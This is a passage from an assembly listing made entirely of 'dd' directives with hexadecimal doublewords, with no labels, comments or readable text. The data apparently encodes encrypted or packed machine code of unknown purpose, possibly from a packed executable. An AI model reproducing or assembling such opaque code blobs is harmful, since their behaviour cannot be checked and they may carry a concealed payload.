0A54B1C75h, 0DAA2E235h, 2B6A49A2h, 16781D64h, 0CAE82280h dd 2E187B02h, 0CC8FD16h, 27085EC1h, 6C7B6E44h, 0D19336D6h dd 0A496F599h, 6D29E6A0h, 34193697h, 251C541Ch, 0D377B159h dd 8D1C00AEh, 52000006h, 0ABC42F67h, 2847ACE4h, 0A3CC275Fh dd 214EA5DDh, 83D43F57h, 225A2CAEh, 0A1D9A6C9h, 2159254Ah dd 0BDD5A5CAh, 0ABCEF756h, 0E8255085h, 5EE6F95Bh, 0D9374F3Dh dd 0F0DAB9D5h, 6C5C33D8h, 4A0BF54h, 728A7734h, 0CBB3D43Ah dd 304C58B3h, 35000000h, 3E526A56h, 5FD72F2Dh, 3D553A5Eh dd 0B2690C75h, 0B6E8253Fh, 0D3F24A7Eh, 96EFA01Dh, 14F719F3h dd 9B6CCFEEh, 0C9818D63h, 4E15FDh, 48460000h, 5E3B424Dh dd 0E81FAE63h, 74BCD9E0h, 74E81FAEh, 0C40CD0BCh, 0D6EEDEBDh dd 0A67514BAh, 3AE81F9Dh, 0A692AADh, 0E9E50B43h, 0A4EBAA85h dd 0C409B8DDh, 33AEE09h, 9C3BA66h, 0A66AEEEh, 4671ED6h dd 0FDF11F37h, 0BD2E3A91h, 7D000000h, 3B424D48h, 253FBB5Eh dd 1C65ADE8h, 3FE04025h, 4880E825h, 0DCF96124h, 8E781BE6h dd 8A4D1A76h, 56875193h, 7DEF38h, 480C0000h, 5E3B424Dh dd 0E8253FBCh, 9410FACh, 0A6A3EBE7h, 0AB9D173Eh, 4059C7A2h dd 0C70FE825h, 3706618Fh, 3EA9F11Fh, 0C556C9BBh, 86B90B12h dd 48773856h, 94000000h, 3B424D48h, 629A6102h, 88B27E1Bh dd 7EB6E235h, 3F947712h, 0AD54E825h, 253F68C8h, 0C9B078E8h dd 253F84ACh, 0E4AC64E8h, 665C79E1h, 2E065F9Bh, 0FD121063h dd 1013C691h, 1E728A73h, 569FAF3Dh, 164138h, 2A20000h dd 0E235A2B2h, 0FF013A62h, 8743FFFFh, 0BC6D6C24h, 2635593Bh dd 38503D5Eh, 99B6DAD6h, 8FEA931Ch, 0E82541BAh, 9410DAEh dd 984AF41h, 829AFF86h, 66EE14F9h, 2A6B40AEh, 78791C65h dd 68F404AFh, 24E0D9A0h, 0C5A3FF3h, 0A4C7AB5Ah, 0A7C4BDD5h dd 46EA8FD6h, 1AF404F1h, 5DF69AD2h, 5F51AC68h, 8A5BEFF8h dd 0A8CCC9E6h, 99E0A8E0h, 0B28225Dh, 0B69A29D4h, 347C709Eh dd 35046158h, 2BF9F479h, 12F99AE3h, 0CCAF96FAh, 1623C800h dd 78E64A2Fh, 59FAF9F4h, 0B9B55B73h, 69F89DF1h, 9A921B24h dd 12FC14F9h, 2911721Eh, 34516811h, 921B23ECh, 0F35834FCh dd 7A94AC9Ch, 3E562447h, 0FB152D1Dh, 0F9B49BF7h, 2BAACFB6h dd 3D98052Bh, 3F641BF5h, 0FBC2FBBCh, 52B929Eh, 0BB9E5698h dd 98052B75h, 0ACCFA36Bh, 204FA4DCh, 0ADCA245Ch, 3348A6DEh dd 24E87560h, 0D69EB687h, 3D6E523Dh, 2E0EFB4Fh, 50463523h dd 0F2BE5018h, 0A35611D1h, 55BED6BAh, 414E484Ah, 0BF192AFh dd 7D111DF3h, 6F162E1Eh, 6408400Ch, 0DFBCC1CAh, 0EEB9D5EDh dd 0C3803EEBh, 0FA264DFh, 0DD367EA3h, 0B7B2CAB2h, 0F2D5072Fh dd 566E5E07h, 0F20AF162h, 0D0B37D1Ch, 2712E235h, 315D7544h dd 23EA7366h, 3B833527h, 0D9D53B53h, 8D2FE85Dh, 7D412EC5h dd 0C729612Eh, 0C6D83CBh, 0E235C121h, 0C39A5DDAh, 452CC7FFh dd 0E235DE97h, 0DE67C9ACh, 0B179E235h, 214B9AF9h, 7EE53267h dd 6FFFFFFh, 1E02675Eh, 0C2E23589h, 3505660Ah, 0B199F61Dh dd 5F2F9C99h, 4E3D5E27h, 691F5A36h, 0C6B6AF2Ah, 4A73BA8Eh dd 3589012Fh, 0C2FE7E2h, 486B073Fh, 3266CF7Ch, 3334h, 4D48D700h dd 0BE5E3B42h, 0A2E8253Fh, 7DF9D6A6h, 1E67C082h, 249AB57Bh dd 2B63ABE8h, 0D190B62Eh, 0F3B26792h, 6CA0C5BCh, 7CEE1452h dd 416880B4h, 3B000000h, 1E02675Eh, 0C2E23589h, 4C49660Ah dd 0BD5F3A43h, 0A3E8253Fh, 21F66E6Bh, 118C364h, 17720B84h dd 0EE14F6F5h, 0CE52370Eh, 92EE14F6h, 49AFDE5Ah, 7BB05C9Ah dd 3703CB17h, 94AC9DFEh, 91A767Ah, 0F21C3404h, 866DA595h dd 0DEA7E8A5h, 1F70B41Ah, 0D284022Dh, 7F71F57Ch, 3F066A9Ch dd 15966506h, 0E02EC24h, 0DA68A846h, 7B5D7944h, 791C7038h dd 0E81FFD8Ch, 0DEF6DAB9h, 48A66EB2h, 1FFD0329h, 0CC0F28E8h dd 514013D1h, 3FAD38h, 7640000h, 94F31D35h, 236BA3h, 60731F37h dd 65294D48h, 791C652Dh, 0E81FB798h, 0F6E8048h, 0E81FB71Dh dd 0EDAE290Eh, 0B1C9B7D4h, 0AA76535Fh, 0BEE81FB6h, 0AB391A76h dd 453850FDh, 0C1h, 1C3404A6h, 6BA395F2h, 0E21AE285h, 6BA36B0Ch dd 0E24E2B12h, 39E23588h, 0D5D9374Fh, 46ED8149h, 132B1073h dd 8DDD1A7Fh, 4C3CE235h, 0C8B0DF34h, 5185FA7Ch, 377F06D2h dd 0FCB3F2D9h, 0A4A5E085h, 3D5EE81Fh, 0D5D9374Fh, 46AD65B9h dd 1E672865h, 5A724427h, 0B1D4B8B4h, 0EE0C83C7h, 39513A99h dd 0EA93DBD7h, 0FE87BF89h, 0E031513Ah, 4F23CE68h, 89C18BE4h dd 8D4C96B0h, 839F31CDh, 1CCh, 0FB102813h, 866DA594h, 3E820E9h dd 8D669E6Ch, 0BE018E2h, 9F3715Ch, 88751AF1h, 8F49B70h dd 84741BF0h, 3F06A74Ch, 2554D65Ah, 37288AE8h, 4E2B3204h dd 0E23588E2h, 0ED064E86h, 6982BA82h, 424D4876h, 0B7B35E3Bh dd 7DB5E81Fh, 0B82AF293h, 0BAF3E81Fh, 827D4783h, 0BA460FC4h dd 1FCD919Fh, 0F39F57E8h, 0D6E31A4h, 0E6EA043Ch, 141BA98Ah dd 0D8D53851h, 36000000h, 0F21C3404h, 856BA395h, 3CE481B8h dd 93E23589h, 0C70F93ABh, 8E29CEABh, 0B880E235h, 9A5E6B80h dd 8B3157E2h, 88C08D8Fh, 0FFCFACC0h, 0F7429A0Bh, 3F778D8Eh dd 9FBBFAD1h, 0A6DF97AFh, 0F30BFC9Fh, 109BFA9Fh, 854DE820h dd 93504D6Eh, 8BCD5C64h, 293FC2ADh, 0E79F4ACEh, 360F763Eh dd 0C32D6555h, 4DD3B6CFh, 13E8207Eh, 47D2B7DBh, 19EE0D59h dd 0EAE7831Dh, 6A222B63h, 25867013h, 0C3CF2159h, 0A9E119E0h dd 235B2D42h, 8C2DEA1Ah, 0D3CF61CDh, 0C0h, 0D73C5427h dd 52B9D1B8h, 0DF344C3Dh, 59B2CAB0h, 0E70C4436h, 2D1F9DB0h dd 0AC91FE15h, 2C107F94h, 0A890FF14h, 0E3DA7B90h, 25569A86h dd 0F3EC4EE8h, 8C713204h, 0DE969A74h, 0DBF3C4A7h, 8B731CB7h dd 4879873h, 6651C34h, 1E7B023Ah, 0E2358912h, 0DC721ED6h dd 0EBD0D3BBh, 79313DD3h, 0F50DFD92h, 7189711Eh, 0FE40FE9Fh dd 0AF9F3296h, 301E7997h, 0D289F618h, 1F016427h, 0C13296FEh dd 1D0E4109h, 83BB83DAh, 1F370768h dd 90A896F1h, 8DC58AE9h, 0AD036F63h, 174E89D2h, 6B04EF27h dd 23A00A3h, 0D1A8E0ECh, 5EB0C8B2h, 8C903E52h, 10h, 14774EDFh dd 77B9DC25h, 69E23589h, 9685E9A1h, 0F7193104h, 7E90A890h dd 0F31D3519h, 816FA794h, 12FC14E6h, 0A54B8375h, 2AC4FCC2h dd 0AA447C4Dh, 28C6FECDh, 55FD6801h, 14890000h, 81E28924h dd 4C2h, 4EA8300h, 5C241487h, 52F068h, 240C8900h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 55243489h, 2C65FB68h, 0B9515D2Bh dd 2EC3DD47h, 8959CD31h, 8B545DE9h, 0C4832434h, 81515204h dd 669B242Ch, 815A4BCEh, 0CE669BC2h, 856894Bh, 2434FF5Ah dd 4C4835Eh, 592434FFh, 0E904C483h, 0FFFB89BCh, 0E025907Ah dd 0E7971527h, 0E3315638h, 0B8E9BCBDh, 5EFCE08h, 0E0FFC503h dd 7D46835h, 4CE2A21Ah, 4324CC8Bh, 0CE8h, 5B14D800h, 247E523Dh dd 224E067Eh, 0C7BF0FE3h, 0C381F85Bh, 6D0Ah, 682CF480h dd 1B15h, 0BEBE5FFCh, 0FF6D6757h, 0C3E48033h, 38B0F5Ah dd 80000000h, 0C281D8E4h, 2F571D79h, 0C281E38Ah, 5E417470h dd 0B890Fh, 6E90000h, 33000000h, 0A563E768h, 0DEC281C3h dd 0BE636A57h, 5E634D28h, 8F5FB552h, 10E903h, 34570000h dd 4F6066CFh, 7CEDB924h, 0BB397D51h, 0EB831E85h, 814B4B02h dd 511E67D1h, 1EF8170h, 0F000000h, 1C85h, 0BC08100h, 0E91D5DE1h dd 1Fh, 0ABECBCEAh, 0C3848C14h, 6803B15h, 6D18A068h, 0E0B966B4h dd 0FF71E9E9h, 0AF8BFFFFh, 0EB726E42h, 2Dh, 0AE0DD000h dd 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h, 0ADF99CBEh dd 89937EE5h, 8168009Dh, 0BD146726h, 50E503B2h, 52E966A4h dd 6800000Bh, 5EFD0C7h, 0FAAEDDE9h, 0D20D68FFh, 0D3E905EFh dd 68FFFAAEh, 5EFD31Ah, 0FAAEC9E9h, 0D3CE68FFh, 0BFE905EFh dd 68FFFAAEh, 5EFD4AEh, 0FAAEB5E9h, 0D58E68FFh, 0ABE905EFh dd 68FFFAAEh, 5EFD676h, 0FAAEA1E9h, 0D85468FFh, 97E905EFh dd 68FFFAAEh, 5EFD960h, 0FAAE8DE9h, 0A84F81FFh, 2CD106FCh dd 0AC518278h, 22CF02F8h, 0AD4E8C76h, 0A4DE5FF9h, 2BD18536h dd 5EA4F0A3h, 0D72D791Eh, 0DA7F39Eh, 36572D9Fh, 26AA1D46h dd 421B6E8Fh, 4CB5F51Ch, 0F95C1104h, 45BA085Ah, 0B812BA35h dd 3DB07E20h, 592BC29Ch, 7B71C3D2h, 0CE1166EBh, 855C7B56h dd 778DD576h, 15C435FEh, 15B9D5B9h, 0A554854Bh, 2FF60306h dd 902EB71h, 9245B71Ah, 0A34835BFh, 43E08C2Fh, 0CA39A339h dd 57E57F0Ch, 0B77275Dh, 90EB48D0h, 55985608h, 0C30AF0A4h dd 0FBA14816h, 388AC65Ah, 0F51F152h, 4EE291C1h, 75848122h dd 495ADE9h, 71E4BCFEh, 9EC0ACC0h, 9BEB604h, 0AA180B77h dd 0B7709D2h, 52CABD25h, 0C6651658h, 0DF52694h, 50C806DDh dd 0FE208663h, 0EB3A92EDh, 976h, 257126AAh, 0B1E598DFh dd 155084Bh, 8FDB76FBh, 2560575h, 195925A4h, 0A2D42E7Ah dd 1D5FA5F1h, 0A1D42E7Ah, 9C0EA4F0h, 4637562Eh, 8C25A91Dh dd 0E549E86Dh, 999321BBh, 0EC175666h, 903CE112h, 353390FCh dd 0BC4511C0h, 7CCE906Dh, 12BC7533h, 954DC62Fh, 0F00D18DCh dd 1CB02853h, 6BAB966Ah, 40ACE211h, 23814335h, 3AB32Eh dd 6EEA0000h, 861C421Bh, 57F8846Fh, 0A00EEF6h, 0EA862AC7h dd 50183349h, 33AB12BCh, 3F17E99Fh, 0E017116Ch, 579B913Dh dd 722C08A4h, 0E1AFD302h, 119E6A73h, 0DFEE2E24h, 0B7000000h dd 1749E86Dh, 45E695D9h, 675BBE5h, 3497FB57h, 0C821C032h dd 871A1DAFh, 3F98FB4h, 76175752h, 833328AFh, 86EADA00h dd 94C46EAh, 87CEC468h, 0B38BEEAh, 0C3175677h, 41BBEF8Ah dd 0C8C16D0Ch, 8BAE4C1h, 12BC797Fh, 24E6F21Bh, 20D5F86Fh dd 6CEA9A92h, 1975ED11h, 0D59C1BAh, 0B18B39A3h, 4116CE9h dd 0EF3A3F9Ch, 0D1FA4816h, 4D0CD13Eh, 3B3BEA4h, 79DAF730h dd 2DC49A02h, 4ACB77E0h, 5D0FACD2h, 0E2BC5F93h, 0A20EAF2Ch dd 0CF356DCEh, 0E0DBE88Bh, 24E80B2Ch, 8305D8Ch, 0F0600000h dd 6EE11B4Fh, 0F2619BCFh, 6CED1743h, 0EF6399CDh, 3FBE184Ch dd 34601347h, 0BFEB88CEh, 34601745h, 0BEEA87CEh, 40348614h dd 0B31D4639h, 0ED6D963Fh, 98DE104Eh, 983B57FBh, 6B33AC0h dd 1B6E0B52h, 66EAC270h, 0C6741756h, 175666EEh, 36AED941h dd 9DB6045Ah, 5012BC48h, 1E1264C8h, 9A116C38h, 0AB5DA8D4h dd 0DB2E240Ah, 0E7h, 80F73982h, 0BE1D71DDh, 288435B8h dd 5D03B022h, 15B95C93h, 0C7ADA79h, 175665FFh, 4C8D86CFh dd 16D01ADh, 0C535FB55h, 3AB3B516h, 0EF3A339Fh, 1CD24816h dd 0FFF479D9h, 75F5855Fh, 37C0BA19h, 0CA12BC10h, 7C685513h dd 412DCFEDh, 0B052BB15h, 1D8A1953h, 0D3262380h, 0B2B28A38h dd 9E2C116Bh, 116BB2A6h, 8F68119h, 0D4B814C5h, 388AD4B8h dd 0CD00924h, 0C6AB29D7h, 7ED88074h, 76BF30Bh, 8231A1ABh dd 12DC82EEh, 0A36D33E0h, 762E8D30h, 9EAD4E8Ch, 0E80C44A5h dd 2322F35Bh, 77000007h, 0F00A5E01h, 708ADE7Fh, 0FC065203h dd 7288DC7Dh, 0A1075300h, 63104220h, 0EA89CD37h, 671844BEh dd 0D584C933h, 0BB92B81h, 1D463A31h, 6DA10884h, 0B41A4EEDh dd 66A89C2Eh, 831B1756h, 39954489h, 7DF0F655h, 6DD188DCh dd 0E56F08E8h, 31F5985Ah, 0B69B86FFh, 6D015679h, 0D782CBC1h dd 6B330583h, 0B1F81756h, 95388AD4h, 0D12B9AEh, 4DEE91C3h dd 6AF0AE36h, 445E19F0h, 5A92B075h, 672E582Ch, 9033AB11h dd 0E6B25F96h, 9438D91Ch, 0EFB18C9Dh, 0EF40DE06h, 0E241DBA9h dd 77E42AB0h, 0A5066AC6h, 0CC542CDFh, 7447DF0Ch, 0E80ECC8Dh dd 6FDE0FA7h, 0A3000006h, 24DE8A2Dh, 0AC5602B3h, 20DA8E2Fh dd 0AE5400B1h, 7DDB8F2Ch, 0A75486FCh, 16C509F3h, 9B3CB842h dd 11C035CFh, 0CF7DEF45h, 1D4639F5h, 396DC448h, 73D083F7h dd 0FF100075h, 38BDA18h, 6DC170E5h, 0F2676D01h, 8D872B47h dd 0AD05A948h, 0A32A71E3h, 0E50CA2F6h, 1FE2931Fh, 4C04A741h dd 340EB1BCh, 2BCA0DC3h, 1148EB87h, 7, 18DB648h, 11EF0000h dd 1756671Fh, 9EC09DECh, 582C9E04h, 0AB175667h, 66B9B301h dd 940C1756h, 0A3215BF8h, 5612B9AAh, 1DC232FCh, 0D1ABDDB1h dd 59116697h, 940C7B1Ah, 0E568A6F8h, 539A6034h, 0C536F8A6h dd 4D13B310h, 5A94C83h, 0BACFCA69h, 7C0FBDE3h, 0F0CCC77h dd 0B74906D6h, 0C9E40452h, 9AF11F5Ah, 7F4C2025h, 0E80E3AA2h dd 8FDF0EA6h, 0C3000005h, 44BEEA8Dh, 0CC366213h, 40BAEE8Fh dd 0CE346011h, 1DBBEF8Ch, 0C774E69Ch, 36E56993h, 0BB5C9862h dd 31E015EFh, 0EF5DCF65h, 1D463B15h, 6D4DE468h, 0EFE549E8h dd 8E2DAD66h, 11444EE2h, 4C20D506h, 0B469EAE0h, 86F64818h dd 43B1FF57h, 4500174h, 0E38C8B0h, 73434h, 0B66D0000h dd 0BFh, 80F739EFh, 2E7B7EDDh, 44BB0957h, 0B712B9A9h, 36BF712Fh dd 0C30BC59Bh, 12833D10h, 0D152390Eh, 9DD02A72h, 505950FCh dd 903CDF13h, 7CCE90FCh, 0CCA30E8h, 5F007CB2h, 0C776F9F3h dd 0C86B076Bh, 0EF752BB3h, 5E4A9C06h, 767A18ECh, 0DEF36B0Bh dd 0C0638FABh, 0B6E28FC6h, 0C468094Ch, 0BFE1BCCDh, 0B762EB25h dd 0FD7D771Bh, 3D9EF25Eh, 0DD391447h, 4C7FE706h, 0EDFDF591h dd 0AF9243EBh, 0E3000004h, 649ECA6Dh, 0EC1642F3h, 609ACE6Fh dd 0EE1440F1h, 3D9BCF6Ch, 0E794C6BCh, 560549B3h dd 0DB7CF802h, 5100758Fh, 8F3DAF05h, 1D463BB5h, 0B62D8408h dd 167h, 949FD618h, 711DB162h, 6E1BBE1Dh, 67B2241Bh, 4C204CEFh dd 0FFA0DC12h, 4BBC0E5Ch, 0BE12B9A9h, 50E27826h, 1166975Ch dd 0C69437AFh, 0B85D925Ch, 34983DB2h, 78FDFB58h, 0FE778DD9h dd 25970D53h, 1166974Fh, 0ED173AA2h, 0E28DC05h, 0EAE343E0h dd 2A98C69Fh, 0CC9FBB2h, 4D83DD45h, 0A8C4680Fh, 94CE0585h dd 65C6EE3Ah, 0C574F937h, 7DF13F91h, 0F27B7DDEh, 0AD01B021h dd 2E8235A7h, 1C422E42h, 8A403486h, 2BB30B76h, 0D8212888h dd 0B2E1530Dh, 0AC06DC8Dh, 7CB08436h, 9B03058Ch, 7D7D77C5h dd 68F0058Ch, 1B28B0CBh, 0EDFEA052h, 0C7CF1EB6h, 1B000003h dd 8C7622D5h, 4FEAA4Bh, 887226D7h, 6FCA849h, 0D57327D4h dd 0FAC2E54h, 8E2DA15Bh, 3B420DAh, 8928AD57h, 57E577DDh dd 1D463D5Dh, 6DF55CD0h, 0BBE549E8h, 0F3500775h, 7DD180F5h dd 0FD510477h, 71DD80F7h, 4A6B99DBh, 7B40ACE2h, 0D71947F2h dd 0C54F7A2h, 0E38D0B8h, 7BF93734h, 0A70468C4h, 4EFEh dd 5B9E5000h, 9546B4BEh, 1B6E9336h, 0F9AE1C42h, 0C12BC2Ah dd 0D704CA94h, 44B67826h, 1B1D17A5h, 890116Ch, 0AEA4C864h dd 4B278B28h, 4136B0E8h, 0C9116C1Bh, 2F81D584h, 6DC170E1h dd 2A922C01h, 12A8F87Fh, 9144B7B1h, 314EC3Dh, 6DB50000h dd 0EEE448EFh, 0EC2BAC67h, 0D61CD6Eh, 0CDA1CD61h, 4FEA6399h dd 0B564E9E3h, 61118E1h, 44E889C8h, 67665E28h, 0D91756h dd 9AA40F1Dh, 264A26F5h, 199DCA78h, 6E9012BDh, 88E448EDh dd 0FF1648E4h, 16A4C464h, 116CFA1Eh, 33240991h, 67CDF88h dd 116D3732h, 2E39D08Eh, 0E40EA5A9h, 0F7D3F9Ch, 73DF12DCh dd 1E6E3AE7h, 7ED2BE10h, 0FF9B112h, 7F2E2485h, 20h, 421B6E26h dd 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0CC82116Ch, 0AA355A0h dd 0D4D32E24h, 8A000000h, 0E549E86Dh, 500775BBh, 353390FCh dd 0B0BA16C5h, 58C29C3Dh, 566712EAh, 5EFD6517h, 0D081F4FEh dd 65F10284h, 74F91756h, 0E26B91C5h, 0BC59B37h, 0EB872BC6h dd 613C4D48h, 26FCD63Fh, 6B45874Dh, 0AF289AC8h, 4212BBF6h dd 22778EDAh, 0E5B7055Bh, 0F10CD045h, 14E3D96Bh, 0A32B0B7Fh dd 47305CF0h, 9F077CDFh, 73C15BC1h, 0B7F1579h, 0F1F754CCh dd 4F159381h, 0AD50EDBCh, 0EB6F95C1h, 50FAC2Eh, 0E78B27D6h dd 0AF01B88Bh, 0AB03E80Ch, 1E97Ah, 0B73900h, 7429AE54h dd 0E499DA20h, 6A074AB0h, 0E596C43Eh, 0EC9617B1h, 6399CD6Eh dd 0E61C48EBh, 6F95C176h, 0B51F4BE6h, 3E9F9527h, 9E121D46h dd 4EED6D37h, 7DBEF910h, 0CD473D15h, 89CC366Eh, 6EE5BCE8h dd 0AE1C421Bh, 12BC48B5h, 678ED048h, 35D07709h, 0DE7EDDACh dd 690E4E80h, 2BA3A9C5h, 5F512B88h, 0D9116C34h, 70186597h dd 9C2E2406h, 0E6h, 83F739C5h, 7573D0h, 83F7FD51h, 0FB9744B6h dd 66122157h, 168C1756h, 48E495D8h, 635A5224h, 0A1D01756h dd 47305CF0h, 0F37A7CDFh, 72BC1246h, 0AEF05C01h, 5663281Ch dd 6F039B17h, 0D683CACCh, 5F26737Ah, 5E14B301h, 59A712BCh dd 5C08641Bh, 0D78954A5h, 8F65D74Dh, 0E2116C5Bh, 90A3D97Ah dd 0A0CD0B0h, 4AE697C4h, 0FE8526h, 8A802CCDh, 0AAC6AA47h dd 1BB83AF4h, 0AD2FE14Fh, 0E14DEE6Ch, 474DE18Dh, 0ACC06C0Fh dd 0F56563C0h, 9DC07546h, 5CF4E80Bh, 0DD8Dh, 14CB0D00h dd 8035BA40h, 8AD2ED4h, 8633A65Ch, 9AA28D2h, 87AFB5Dh dd 877D29CAh, 2F8AC4Fh, 83792DD2h, 51FBAF4Ah, 407B71C3h dd 42CE1D46h, 4EED6DEBh, 0F97AB41Ah, 0DA84E844h, 56679468h dd 0DC7FE717h, 0B8E693DAh, 0F3500576h, 0E86DF2ABh, 20FE1749h dd 0EF94A975h, 373D9D3Eh, 0BE4713BEh, 1A12A06Bh, 6D175679h dd 8D5CD8F5h, 20659AF5h, 47A0124Ch, 0BA12BA05h, 0A432DD63h dd 422ED182h, 0C071E4EEh, 4AE76E94h, 483C8E14h, 0BB1166EFh dd 56208023h, 6E2E761Eh, 0AAF16369h, 0C1287623h, 650A8FAFh dd 93200DA2h, 0C6077E08h, 0B64C14B7h, 343E923Fh, 0E8B814C5h dd 5C912656h, 0DD47E9BDh, 1B59956Fh, 0D370E8AEh, 5DF1A0D5h dd 0D8Ch, 0AB82200h, 0AE1B5932h, 1BBE1D85h, 0EB6DA508h dd 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh dd 0CF0208A4h, 57848E22h, 0CF000AA6h, 68E9822Eh, 4BEDh dd 68243489h, 6481h, 68242C89h, 1251h, 68240C89h, 3079h dd 0BA241489h, 6E9438E2h, 8408CEBDh, 5AD52974h, 4EC81h dd 24890000h, 24048124h, 4, 0EA895259h, 24348152h, 50EF49DDh dd 8108418Fh, 49DD0871h, 8B5A50EFh, 8956240Ch, 4C681E6h dd 83000000h, 348704C6h, 2C8B5C24h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 0FAA399E9h, 0ACAECFFFh, 0DA62B8BAh, 0C50305EFh dd 6D4AE0FFh, 0FF285BBAh, 0CBD17A0h, 0B3E331F1h, 0EBE91947h dd 693D641Bh, 78A857E3h, 9382930h, 0D0312C72h, 0A18D4838h dd 9F5F344Dh, 0C335214Ch, 0D36B1BAAh, 0C08B2A81h, 0EC7301BBh dd 0D9BD8313h, 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h dd 0B8C08B53h, 3FCh, 0D798589h, 9D8D05EAh, 5ECDDF5h, 585BD3FFh dd 2EE5BD83h, 740005EAh, 0B8535017h, 3FCh, 0D798589h, 9D8D05EAh dd 5ECDAE4h, 585BD3FFh, 0C8B0FF5h, 0F000000h, 685h, 8E0F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 2964C355h, 79440BB6h, 0C08BDF8Bh dd 3800Fh, 0CF800000h, 0D1BD83DAh, 105EA02h, 7A840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 13681FC3h, 3E9D2075h, 31BDBD83h, 0F0005EAh, 4B85h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0CE9AC03h, 0DD000000h, 2F44A154h, 5ED28734h, 66286E78h dd 0BD83D18Bh, 5EA29F5h, 4F840F00h, 60000000h, 57C18B66h dd 8A0Fh, 61590000h, 3E7E9h, 0EE900h, 3A20000h, 9042F14Dh dd 12E9EE9Dh, 43AFB2EAh, 0A3C28166h, 82h, 6AFA8A00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F9F7C353h, 10D601B7h, 0A0426E82h, 4D83B3F3h, 0A56BB39Ah dd 0F876EEB9h, 0A1FEDF10h, 0A149F718h, 0A5B6B38Dh, 0DD98E6DCh dd 0DFCC3614h, 0B53FB674h, 0CC6BB399h, 476FFFE2h, 5888474h dd 41CD773Bh, 5AF66A2Bh, 0F65BD949h, 0A5ADB071h, 668D9399h dd 81373AC2h, 81F1329Dh, 0A5DAA79Dh, 663EF099h, 0A430BCB3h dd 505BB399h, 0A5ADBB70h, 0E453B99h, 7EB51AD4h, 0A0985AE5h dd 0A5B0B399h, 0A56E5BCCh, 0F896B399h, 0C9D2EE5Ah, 0E12CB7BDh dd 0A5CCB7BDh, 0F02EB399h, 197C3C5Ah, 0A32800ECh, 0C08732CAh dd 0FE8F57AAh, 0A55B5BCCh, 24F0B399h, 4A0B9274h, 0A2B1329Ch dd 0CF93A790h, 0A632E599h, 856DB399h, 2CE870C7h, 245F97EDh dd 0BFA997DDh, 0E3D6B399h, 154D70CFh, 9A88E595h, 0CF1A38E8h dd 0A685E699h, 85B6B399h, 2C0670C4h, 24A997F5h, 0B8D297DDh dd 0E06BB399h, 3F2C70CCh, 18A250CFh, 0CE36092Ah, 0AA660496h dd 2F0B622Eh, 81A93A61h, 4D86B3F3h, 0A56BB39Ah, 0FD76EBB9h dd 0A1FEF710h, 0A149F718h, 0A5B6B38Dh, 9698E3D9h, 81E1B296h dd 4067D367h, 5D0BEBF8h dd 0A5B5A070h, 0D08AB199h, 53A3D676h, 0ED5C2360h, 0AB6C7A51h dd 0F580E4F3h, 0A7DAB6F8h, 0A501B399h, 0A5B65BC9h, 0FDFAB399h dd 0E1E4EB5Ah, 0E137B7BDh, 0A54DB7BDh, 0F5EDB399h, 0AF973A5Ah dd 0A56BB670h, 0C87F9899h, 0AD512B07h, 2E0B6C12h, 7A3D4FD1h dd 0A55BB221h, 0F0ADD999h, 0A5D6B071h, 66369399h, 81D93AC4h dd 819E329Dh, 0A56DAF9Dh, 66E3F699h, 7885600Ch, 28DFD2ACh dd 7469BC3Bh, 2B8932FFh, 0F10FE35Ah, 2CBE1CDBh, 0B5849795h dd 0BFB6B399h, 97BBD988h, 16616B76h, 0B648C5A2h, 0C389DCCAh dd 534D6A15h, 20D5B758h, 0A56DB28Eh, 4DE1B3F3h, 0A55BB39Ah dd 0FA6EECB9h, 0A1F2CF10h, 0A14FF718h, 0A5B5B38Ch, 119E4DEh dd 34D7EA2Fh, 25E6621Eh, 2054DBA0h, 0A5ADB2FAh, 4D83B3F3h dd 0A56BB39Ah, 0F876EEB9h, 0A1FEDF10h, 0A149F718h, 0A5B6B38Dh dd 0BA98E6DCh, 0B1F69623h, 4657D58Fh, 0DCE0B07Ah, 0AAD5E198h dd 24D54B2Eh, 0A56DB399h, 5A37E8F8h, 255BB399h, 0A48C3196h dd 0A5BCB399h, 0A5685BCAh, 0FE95B399h, 0F953E85Ah, 0E1ECB7BDh dd 0A5AAB7BDh, 0F618B399h, 1A1E235Ah, 973E3C7Ch, 240DCFFEh dd 62123452h, 4A06EB1Ch, 0A56DB29Ch, 0A933BC99h, 0AA5BB399h dd 0A5ADB51Eh, 0A557BC99h, 0C36BB399h, 0C7FB7918h, 0A5DBA070h dd 0F46DD999h, 0A5B6B071h, 66029399h, 81E13AC0h, 8192329Dh dd 0A56BAE9Dh, 66E4F299h, 79D00D62h, 0FD298FDAh, 20B90C41h dd 0A55BB392h, 0A520BCF9h, 0AAD6B399h, 240A4826h, 1F34754Ah dd 0A54B5A88h, 0AA0DB399h, 0A5B6B210h, 2F544A99h, 0A5ADB39Bh dd 0AAB7D2F9h, 0A56BB11Ch, 0FC6A3899h, 4D8CB3F3h, 0A56DB39Ah dd 0FB75EDB9h, 0A17FC710h, 0A189F718h, 0A5D6B385h, 26A8E5DFh dd 876DF6FDh, 9A22A0A4h, 0A56E3196h, 2ED0B399h, 0DCD8D54Fh dd 21A24C92h, 0A5D6B3A6h, 62B94019h, 4A69EB1Ch, 0A5DAB29Ch dd 0F76DD999h, 0A5B6B071h, 66019399h, 81F93AC3h, 8192329Dh dd 0A56BA69Dh, 66E7F199h, 0AF321707h, 786DB399h, 45C944A3h dd 104AAC68h, 4E2CD5C6h, 0ED8CD270h, 4D3EB3F3h, 0A5B5B39Ah dd 0F819EEB9h, 0A149DF10h, 0A192F718h, 0A55BB385h, 0A36EE6DCh dd 4C164065h, 0CEF4A7F5h, 0A5B5A070h, 0F4F1AE99h, 4A2AC5ABh dd 7C05F9BEh, 56B0697Eh, 9E1A4618h, 0FAA708FFh, 0C4E7A520h dd 0C8303EB7h, 28DF5C7Bh, 4A8DF024h, 0D14E889Ch, 7454839Eh dd 5046F450h, 4D81B3F3h, 0A56BB39Ah, 0FA76ECB9h, 0A1FECF10h dd 0A149F718h, 0A5B6B38Ch, 0D698E4DEh, 4CD50114h, 